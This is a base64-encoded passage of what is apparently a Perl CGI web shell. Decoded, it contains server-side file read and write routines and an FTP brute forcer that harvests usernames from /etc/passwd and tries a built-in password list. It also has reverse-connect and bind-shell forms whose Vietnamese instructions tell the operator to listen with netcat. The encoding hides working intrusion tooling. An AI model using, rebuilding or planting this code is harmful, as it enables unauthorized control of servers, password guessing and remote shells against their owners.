CSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7DQoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOw0KCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOw0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOw0KCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOw0KCWlmKC13ICRGaWxlKQ0KCXsNCgkJJHJvd3M9IjIzIg0KCX1lbHNlDQoJew0KCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2NvbG9yOiB5ZWxsb3c7JyA+IENhbm4ndCB3cml0ZSBmaWxlITxmb250Pjxicj4iOw0KCQkkcm93cz0iMjAiDQoJfQ0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsNCgkkcmVzdWx0IC49ICA8PEVORDsNCgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQoJJFByb21wdA0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+DQoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZw0KCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPg0KRU5EDQoJDQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOw0KCSRyZXN1bHQgLj0gIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICI8L2Zvcm0+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgRmlsZSBPcGVuDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgRmlsZU9wZW4oJCl7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkYmluYXJ5ID0gc2hpZnQ7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCW15ICRuID0gIiI7DQoJaWYoLWYgJGZpbGUpew0KCQlpZihvcGVuKEZJTEUsJGZpbGUpKXsNCgkJCWlmKCRiaW5hcnkpew0KCQkJCWJpbm1vZGUgRklMRTsNCgkJCX0NCgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7DQoJCQkJJHJlc3VsdCAuPSAkZGF0YTsNCgkJCX0NCgkJCWNsb3NlKEZJTEUpOw0KCQl9DQoJfWVsc2UNCgl7DQoJCXJldHVybiAiTm90J3MgYSBGaWxlISI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBTYXZlIEZpbGUNCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZSgkKQ0Kew0KCW15ICREYXRhPSBzaGlmdCA7DQoJbXkgJEZpbGU9IHNoaWZ0Ow0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOw0KCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQ0KCXsNCgkJYmlubW9kZSBGSUxFOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlyZXR1cm4gMTsNCgl9ZWxzZQ0KCXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCcnV0ZSBGb3JjZXIgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyRm9ybQ0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJHJlc3VsdCAuPSA8PEVORDsNCg0KPHRhYmxlPg0KDQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+DQpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4NCk5vdGU6IE9ubHkgc2NhbiBmcm9tIDEgdG8gMyB1c2VyIDotUzxicj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+DQpFTkQNCmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7DQokcmVzdWx0IC49IDw8J0VORCc7DQo8L3RleHRhcmVhPjwvdGQ+DQo8dGQ+DQoNClBhc3M6PGJyPg0KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcw0KMTIzIUAjDQoxMjNhZG1pbg0KMTIzYWJjDQoxMjM0NTZhZG1pbg0KMTIzNDU1NDMyMQ0KMTIzNDQzMjENCnBhc3MxMjMNCmFkbWluDQphZG1pbmNwDQphZG1pbmlzdHJhdG9yDQptYXRraGF1DQpwYXNzYWRtaW4NCnBAc3N3b3JkDQpwQHNzdzByZA0KcGFzc3dvcmQNCjEyMzQ1Ng0KMTIzNDU2Nw0KMTIzNDU2NzgNCjEyMzQ1Njc4OQ0KMTIzNDU2Nzg5MA0KMTExMTExDQowMDAwMDANCjIyMjIyMg0KMzMzMzMzDQo0NDQ0NDQNCjU1NTU1NQ0KNjY2NjY2DQo3Nzc3NzcNCjg4ODg4OA0KOTk5OTk5DQoxMjMxMjMNCjIzNDIzNA0KMzQ1MzQ1DQo0NTY0NTYNCjU2NzU2Nw0KNjc4Njc4DQo3ODk3ODkNCjEyMzMyMQ0KNDU2NjU0DQo2NTQzMjENCjc2NTQzMjENCjg3NjU0MzIxDQo5ODc2NTQzMjENCjA5ODc2NTQzMjENCmFkbWluMTIzDQphZG1pbjEyMzQ1Ng0KYWJjZGVmDQphYmNhYmMNCiFAIyFAIw0KIUAjJCVeDQohQCMkJV4mKigNCiFAIyQkI0AhDQphYmMxMjMNCmFuaHlldWVtDQppbG92ZXlvdQ0Ka2hvbmdjb2dpDQpraG9uZ2NvcGFzcw0KNntKLjt9MjdVfjJiDQpIPUIoKypJT3kjelYNCkdBYTEtV30hW1JNIw0KWjBEJTVCLVdDRHFMDQpHT0Elb01xXmN0PWcNCil5ezhFRU1JLVhxeA0KaDZVZ356b2VhfSEpDQo1LFRnemJ4JnQ4PVENCkMwVWNBZC14STYlWw0KSnkubF89d3t5cnBTDQo9blJjUn49ZHF9LS4NCn1hfUAmM3tUOFE4Vw0KQU4jSCxHSUFEJGc7DQpUYXdkKHFuWkVhV20NClM5em5oUFUxJHVBZA0KWlBAMCpLYUNbRUYlDQptcXlYWkt0JGdjJTINCmU3c0stREMraUt5Ww0KQSlAJnt1RWVmKk11DQpLVSFbc2MmSipNeHYNCipfcD1TQGtdQ2JKOQ0KKTBOLUQ4KiUuZn5EDQpOVmFwX3Bza3JvR2gNCjtvW1AyS0RaeG92Ug0KZ3E7WklEbFB0PWU7DQpvNiNeIUR+N2U0UlYNCn1BQ0slJCNISXZvPQ0KcHFmcU5IMkQjbXNXDQpTfnJ5bEMwJHZwaUwNCn0/KGhSMFEmQn02JA0KQDtLbnZMcmMlLD1TDQpJdCVmYW5zSWQuNmMNCltVZFRBI3VOVF0rVw0KTUksO0A9bi5vZF9TDQolT09uXj00dTN3YSwNCj1zWE9wMVBWWkQpVQ0KNmVLNkRRUHBnbGVXDQpbUG9uYWMwQE1zMHsNClpnOXp5JmI1VGN9TQ0KZ19dVDFBUnRaSFBHDQpdT1MuM09+dCt4YSENCi1idVh4LF9eO11WKg0KdmRNNnNIOV9pfkYxDQo7YWNEMyEzdUMrdFINCmU1UXlLO3Yxd3RnZg0KeSZifXkrI0FKO31XDQo3VGg5TXJzeF8yN2UNCjN3QmFlaTFxNE10Yg0KeUIydzVFckNpRnFnDQo0JWJwIWVjTkxPaGYNCjQlYnAhZWNOTE9oZg0KUkwsaykwUUNkXUR7DQoqLT0jWl0jSCskUWINCkx4T0NdMkdaayVMeg0KZj17dWxFXlApTWRJDQpRczkqPVQ4YlRjb30NCldlZ1tNWC5SSTZzVA0KSG0sOH1BX350SDRxDQpnTUFmSGxMPXB4R0gNCmE3RFpEfUskeF57OA0KQTU/PUViLHdOaGJEDQpCQlh6OSlQb1t5NC4NClRbQyE3NHBvS0BrUQ0KMGQzLHFAN1tob09GDQo5X0M3cCFHO1dQUngNCjFEMzIldTlLZUZYTA0KLkZ9TCZ2ZHB9dHQhDQopRCtjQkpfKj9ETCoNCjQqR3VHOS53cyZeTw0KNkB+dSVOJG1KJiYyDQorS1hrSTtxZjQzemENCiVAOWU2ITJba10wKQ0KaUkhdj9Jc35xRi5zDQoxbWZ5RXc2QDMkfksNCkwrP35mVF8yZ29nNA0KS29+JSVAP2JaTEF9DQouQjhjSUF4TW8od1MNCmtPQEAoUT8zQysoYQ0KcSp1VENYfnlLQX0lDQpPQDAkVUZ2dHlCLiUNCiNidlouLkMrKi0rdg0KUihacCQ/ME1OVltGDQpTKUMsQmx4MTdzXk4NClNlW0RVOWd6VTR2TQ0KK0R5cHEkMjdbRUBdDQpKaF9LcStBMTFwZEgNCiRPe1NrR3BROGEkaQ0KJildRmtxRStCVHBBDQptfm5lVWxNfVg2ZTQNCnt4IylnMUxUZ11SIQ0KZGNSLlVJX1B2T31fDQptUiZ7UXU1Q0UpLCENCkFoW0shUWFGTF8jUA0KN3UqSlV+Z2NKS29jDQpoVSRCRUFfRyEtPzINCm10UkgyZ2YzIWlsdQ0KR0xXKUt1SCplQ34qDQoyT107YmZzZmguOTUNCiZ3QE4hLldyXWZ1eQ0KSyN7R3gkOVdQTEspDQpfUl1KQ041WyYlKy4NCjVaMm5hK2Qzc1VLPw0KTkdSYkNrJng0YUgrDQpBVU8mVFt1PUpdYiYNCl0kKiE4R30pKDE0Ng0KQnBNVHYyMTBIK1BGDQo0Y35xZzRvdngoR2INCjEwdF8uITEjWlRzXw0KWGU4QFQxaWRtRy4qDQpDJTRhTjFzSWltKT8NCkxYMC1tQ2JrWCMrVw0KTmtYMjljO0NpZmRuDQpJJWtvb3ksXzE5W3MNCjVJQVR6e2N+c25kKA0KNFF4diQ/cjN7bTZvDQo3O1VPaHNAZHBpVkANCkw/UEFTVi04RnptYQ0KWnJvbyxPPX1+LHJFDQpXM3UqaS15XUk1V2cNCmQ7cUNKeUNlNFdKbA0KOT10Ni55aH5WdjJtDQpKRkl7ISFBVngpeC4NCmMhPzB6b1NQLFFAaA0KP3BPI1hNSGE4bms3DQpWfnU7JFRUOUErdDsNCl0kSl1pO19YZmwxNQ0KRFNeNFZoRGZKcVV2DQotOFpodk9abTlQeFENCnksM1MsRlRTUUJeKQ0KMikqZ2g9WjMsfXhUDQprUFNCNlIuIT1Kb1ENCiUkOTY4SS5yeVs1Sg0KMkY2VyY0bitGbl5PDQorUXdAPTB9X0h7MlQNCnhrKX5DSzg3NFBXSw0KVnQuTlNSdkM4QmFkDQpBdHRoMlVnaDU3NEcNCndoZ09bNlpPWFtuKw0KbmFfNz97eWJheF01DQpKM2lGLH4qKGUlRkANCj0mRld+aFpEXXAlIw0KbnZsLjFMQ3VdRTEmDQomeGteUEUlaSFPI1ANCklXSkxsJmhKcXo9aQ0KXnowc1J4SnchQ0xvDQo4XlYjbCQ3K29mLlsNCjVsV0EsUDF+ZyhMMA0KQ0ZJR1V2YjtFM0tJDQpfR0AsQVFFUyR2TGUNCmxee0VuQSRuWzlOYg0KRTFnKDBecSNYbztnDQomTWhLRjE7VzNvMCYNCjUwNDIyQjJhZyZlbQ0KTDk1M0grbXZxS0dhDQpMKUZfUU9AeTJedGQNCkhBYktALSZUQVRTTQ0KIyM5bStkaSpKKUBiDQpmZCxiciVpVzUxck0NCiFFLW1eN01ORUx7TA0KJm8yJUpAX1JxW3VUDQokJkB5OHBFMFM9MEUNCkl1cm1yS3R6VCQ0OQ0KTFRdLlNYbyNsRDJwDQpSIztoJiEmLnpDSVINCkx3a3khLU8tQWZYJg0KWl49KldbaDNfaDsuDQpnTnJpY1Zxe2k9LS4NCixpfkA2IXcybmR6UQ0KcDZoU2J6cyNJS2cxDQpaaGJlbFR+TjJXeFcNCiYsc3I0VE9kb01BLQ0KM2tJdnJ6P15UUyNLDQpvVHYrMUBbNGg1e0MNCm1yX1hCQH5IRypwaQ0KXXFhUjYtVC4wLjlPDQpUUHcuQ0Q5WjYqTCQNCnMoQS5EQHh2TzUlOQ0KYiEjJkB2VHZOKi44DQosbyMpcjNULTVOZ1sNCmU2VyFmYlJncl11OQ0KJjtOMCQlRzgheVguDQpsKUlzViRSLSZXQDUNClB4VGtGM09iU25bNg0KXmxLYSxyfmM9KXQzDQpVW3d0KlcpfU9lSGUNCmh7RGN5aCotaH45QA0KYVNiOSVDcldOa01ODQpuIyMjbG4ucEB6aGsNCjkuK1BbV1AhKWctRw0KeWsrWzFSfmFAd0gwDQp5PTVyJF41Vl5wbVUNCjMlS25wVEYtZ21Vcg0KVUJ2Lkh+e28pbzhwDQpkS3s9KTc1JkVGVTUNCipFZXNnT0dJNHg/Ww0KRTZYNWsje0E2NXhUDQpwdXgpRFNrRkxJVGcNCnczSlZdITVpZH1BXQ0KVUJUM3UtMEgpfk0lDQo1JUMuN1smNzByfmwNCklKSVtIO240XjVVeA0KLUAwQyhTKn5BN3ZSDQpXQXIqTntPOEMoJGYNClQmK2haLSR2cnhmKQ0KdUZEc1EhZFZ7SEd7DQpNeEE3cncwa3pKJjQNCkxVTUVscTdGQzFaRA0Ke34lM30wKTF1WlApDQp2LW5MWmkhK2xVKCENCj11YT1UUVZRKSRwMA0KVm9JVFhvZl5IdV9eDQp6ckkmRVNvSH57VkgNClJvSywldn47Ll0sRg0KbCxETTY5TUNETnFfDQo2UFplMm5YeHlfZ3ANCnVpd1F+XVR5MmE1aw0KODA1VGJLSENXeColDQprcjNeYVc3QWt0UkUNClFxOCEqSUpVNCxrSQ0KWFViXzJtcH1EJVEyDQp4e0ROKUNFOzFxNDcNCkhyUiVAciR0SH17Ng0KbiFBZSo1c3JFcE9pDQpOQn1BR3dyVltYN3MNCjhecCEtJjtQZC12Iw0KciV0NmQzVyYtLEdQDQooay1nMSpkTSxVTHoNClUlcE9YMm4oZzNTLQ0KIzFfLipPbzA4VjYuDQpCdWcoK2RzYndISXUNClRjQn10QDQuTkt+Zg0KRzhfYWRvKztidUV5DQpuYXNWQi07MkxCMHkNCmYlWGVhcjIleWV3RQ0KQDcsdWlxdkpGJExBDQpJNH02LE1GMnhLYUINClZPZy5nRk1wPzssKQ0KUDhPMHopIyZvekQxDQpQblhOLjM3UUdYYioNCj9menZUT14xYXg0SA0KXmghTj1sYUhnQUNJDQpBNV1XKDBYa1tieE8NCmRbNWRJTiteKTVPNg0KaUFzOFF4TCZQVW4jDQpASzgrUV0uU0I7cHoNCmxVI0QuMUk5KWh5XQ0KXWRKXV1ndlU4XkxuDQo4MUdQVTR1T3FTRU0NCiVIX2JlWENLeUA/PQ0KXWFhfW15NTd9eEhTDQpUblBJQj9BbWEtXTMNCkJeOCojXmxBW2dmaw0KYTNBYzV4REQ7Q0gzDQomd3V9TWkuJURaT18NCm07WmMxLWlkXjQtbA0KP09pczhLVEw7VT1NDQpxfnZQN3JbRDlVZCwNCklQenktR0xTRjRrSg0KW3JoJVVUTHFUYUFSDQpDTWFJRC5hbF5zIUcNCjdrYmghazNrRUwtMA0KKE5Tc3AyZ0IkXyQ/DQouZlNoXmteezY7THgNCi5oOUdbMGE9TCRfNQ0KMVtAeHhmUFQ7KUJyDQpmKDN4cnNiLCMuaS0NCk0rTGw/SkNPM24yRQ0KdFt1RHBJY3YjWEMwDQowISxUTj07QixPI3oNCn5OdFU7dFtlJj1bNg0KcHt5K01oI1p9YTRMDQo5eXN+SU1oTFo9LXINCjdrOUQ0NnpUeyFiQQ0KRjFWJDg5ZFUsLUhMDQpSa0V2ZzJWNmVANlcNCjRDcUd6LCN0QExVWA0KX0RJY2JmbjtNUDJ6DQpVJFBwd193VklUKkwNCm5KeVhFTiMmV0tVQQ0KUT9zZVtRbEIob14mDQpKN1teJH1Ea15vTjkNCm1lYl5wLCosVigmaw0KdDtfMTQpe1BiOE1MDQp9PX5+ey02d1QwdFUNCjdYTG5GO2NGYUlldA0KI1c/a3hMQH5pY2RyDQpCNl82TC4yQltyI0UNCixGeWJrUno0I0ExdQ0KSXgmLFdUVltlZTlUDQpJLTVkaV50c0d5KTMNCnMyLHlkREkuRzIqQw0KY05Ud3glNFhVeDA4DQpjb0dEODs4cighU24NCl1RUjtdfjNwWEBrVA0KWkxePVBFLSQjNGI5DQpbSH1XZ2NuYXFsZVINCis2KFskYltBRkR0eQ0KeCEsKiNMc1dmV2RiDQpyaWUzJXNDWyN0RDANCi5NcmtoJmZaLSsyUQ0KfW9UXWlKaG11fnZIDQo1KFQtRF17SlVEckINClNCRDZYQX5QP2stIQ0KaT1pZV9sZnErbXBeDQpUe11FS2FBWG1kISgNClUxLEMmdk47ZX53OA0KTSQmUF90X1RjV3tTDQp0LlhTXzRATiFPSFENCnJHVSEhLV9FLW41cA0KLVtmWjlSWF1URWlIDQpXVlR6T2JwQS5IMlENCnMobWJbYklvbF11Ow0KTkF+enZlVWUmcXl9DQprZ0ZmbSo3cjExT2YNCj1AUENIdVhiTEVvdA0KZmR1QTExTGVGQkR9DQp1YlRnbTliPSxFQUYNCkoyQnNrR3tGWlRpXQ0KQF5iNH1YME1obGs9DQo1UyFsOVpAR144Qm4NCj02OT1Nci4lTGhYRg0KKF5CT0chW09sLUQ7DQo3TVFbJjJ+R3FJa3UNCjdwVy1PNH0jN1I2Zw0KZEVYOzBUVlJsSG8qDQotJn4jOU9xaXdabWgNCk5uUnQjfiR3ckd1QA0KazZyXiUpK3l3bnAuDQpEMSQ1dEVQSFhaezYNCkliPU0zUk4hVGhNTQ0KV0pTWDdaNFQjdz01DQpdUGEkNyZRS25nQigNCjwvdGV4dGFyZWE+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NClNsZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPg0KDQo8b3B0aW9uPjA8L29wdGlvbj4NCjxvcHRpb24+MTwvb3B0aW9uPg0KPG9wdGlvbj4yPC9vcHRpb24+DQoNCjxvcHRpb24+Mzwvb3B0aW9uPg0KPC9zZWxlY3Q+IA0KPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjwvdGFibGU+DQpFTkQNCnJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCcnV0ZSBGb3JjZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlcg0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9Ow0KCWlmKCRpbnsndXNlcid9IGVxICIiKQ0KCXsNCgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOw0KCX1lbHNlDQoJew0KCQl1c2UgTmV0OjpGVFA7IA0KCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOw0KCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOw0KCQljaG9tcChAdXNlcik7DQoJCWNob21wKEBwYXNzKTsNCgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7DQoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikNCgkJew0KCQkJaWYoJHVzZXJuYW1lIG5lICIiKQ0KCQkJew0KCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykNCgkJCQl7DQoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IA0KCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpDQoJCQkJCXsNCgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOw0KCQkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCQkJYnJlYWs7DQoJCQkJCX0NCgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikNCgkJCQkJew0KCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkgKiAxMDAwKTsNCgkJCQkJfQ0KCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCYWNrQmluZEZvcm0NCnsNCglyZXR1cm4gPDxFTkQ7DQoJPGJyPjxicj4NCg0KCTx0YWJsZT4NCgk8dHI+DQoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4NCgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPg0KDQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj4NCglbK10gTW8gcG9ydCB0cmVuIG1vZGVtICENCgk8YnI+DQoJWytdIFRodSBraWVtIHRyYSB2aWVjIG1vIHBvcnQgYmFuZyB0cmFuZyBuYXkgPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPg0KCTxicj4NCglbK10gRHVuZyBuZXRjYXQgdHJlbiBtYXkgY2EgbmhhbiBjaGF5IGxlbiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPg0KCTxicj4NCglbK10gQmFtIG51dCBjb25uZWN0IHRyZW4gc2hlbGw8L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIERhbmcga2llbSB0cmEgLi4uLg0KCTxicj5bK10gVGh1IHZvaSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0